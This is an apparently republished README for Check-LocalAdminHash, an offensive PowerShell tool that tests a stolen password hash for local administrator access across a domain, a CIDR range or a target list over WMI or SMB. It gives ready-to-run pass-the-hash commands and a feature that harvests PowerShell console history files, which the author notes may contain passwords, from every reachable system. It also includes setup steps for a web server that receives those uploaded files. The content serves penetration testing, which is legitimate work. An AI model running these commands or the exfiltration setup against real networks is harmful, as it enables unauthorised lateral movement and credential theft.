Check-LocalAdminHash: attempts to authenticate to multiple hosts over either WMI or SMB
Check-LocalAdminHash
Check-LocalAdminHash is a PowerShell tool that attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It’s useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson’s (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against.
The reason this script even exists is because on an assessment I wanted to gather all the PowerShell console history files (PSReadline) from every system on the network. The PSReadline console history is essentially the PowerShell version of bash history. It can include so many interesting things that people type into their terminals including passwords. So, included in this script is an option to exfiltrate all the PSReadline files as well. There is a bit of setup for this. See the end of the Readme for setup.
For more info read the blog here.
Download
git clone https://github.com/dafthack/Check-LocalAdminHash.git
Use
Checking Local Admin Hash Against All Hosts Over WMI
This command will use the domain ‘testdomain.local’ to lookup all systems and then attempt to authenticate to each one using the user ‘testdomain.local\PossibleAdminUser’ and a password hash over WMI.
Check–LocalAdminHash –Domain testdomain.local –UserDomain testdomain.local –Username PossibleAdminUser –PasswordHash E62830DAED8DBEA4ACD0B99D682946BB –AllSystems
Exfiltrate All PSReadline Console History Files
This command will use the domain ‘testdomain.local’ to lookup all systems and then attempt to authenticate to each one using the user ‘testdomain.local\PossibleAdminUser’ and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) for each profile on every system and then POST’s them to a web server. See the bottom of the Readme for server setup.
Check–LocalAdminHash –Domain testdomain.local –UserDomain testdomain.local –Username PossibleAdminUser –PasswordHash E62830DAED8DBEA4ACD0B99D682946BB –AllSystems –ExfilPSReadline
Using A CIDR Range
This command will use the provided CIDR range to generate a target list and then attempt to authenticate to each one using the local user ‘PossibleAdminUser’ and a password hash over WMI.
Check–LocalAdminHash –Username PossibleAdminUser –PasswordHash E62830DAED8DBEA4ACD0B99D682946BB –CIDR 192.168.1.0/24
Using Target List and SMB and Output to File
This command will use the provided targetlist and attempt to authenticate to each host using the local user ‘PossibleAdminUser’ and a password hash over SMB.
Check–LocalAdminHash –Username PossibleAdminUser –PasswordHash E62830DAED8DBEA4ACD0B99D682946BB –TargetList C:\temp\targetlist.txt –Protocol SMB | Out-File –Encoding Ascii C:\temp\local–admin–systems.txt
Single Target
This command attempts to perform local authentication for the user Administrator against the system 192.168.0.16 over SMB.
Check–LocalAdminHash –TargetSystem 192.168.0.16 –Username Administrator –PasswordHash E62830DAED8DBEA4ACD0B99D682946BB –Protocol SMB
Check-LocalAdminHash Options
PSReadline Exfiltration Setup
This is your warning that you are about to set up an Internet-facing server that will accept file uploads. Typically, this is a very bad thing to do. So definitely take precautions when doing this. I would recommend locking down firewall rules so that only the IP that will be uploading PSReadline files can hit the webserver. Also, while we are on the topic of security, this will work just fine with an HTTPS connection so set up your domain and cert so that the PSReadline files are sent encrypted over the network. You have been warned…
- Setup a server wherever you would like the files to be sent. This server must be reachable over HTTP/HTTPS from each system.
- Copy the index.php script from this repo and put it in /index.php in the webroot (/var/www/html) on your web server.
- Make an uploads directory
mkdir /var/www/html/uploads
- Modify the permissions of this directory
chmod 0777 /var/www/html/uploads
- Make sure php is installed
apt-get install php
- Restart Apache
service apache2 restart
- In the Check-LocalAdminHash.ps1 script itself scroll down to the “Gen-EncodedUploadScript” function and modify the “$Url” variable right under “$UnencodedCommand”. Point it at your web server index.php page. I haven’t figured out how to pass the UploadUrl variable into that section of the code that ends up getting encoded and run on target systems so hardcode it for now.
Now when you run Check-LocalAdminHash with the -ExfilPSReadline flag it should attempt to POST each PSReadline (if there are any) to your webserver.
Copyright (c) 2019, dafthack
Source: https://github.com/dafthack/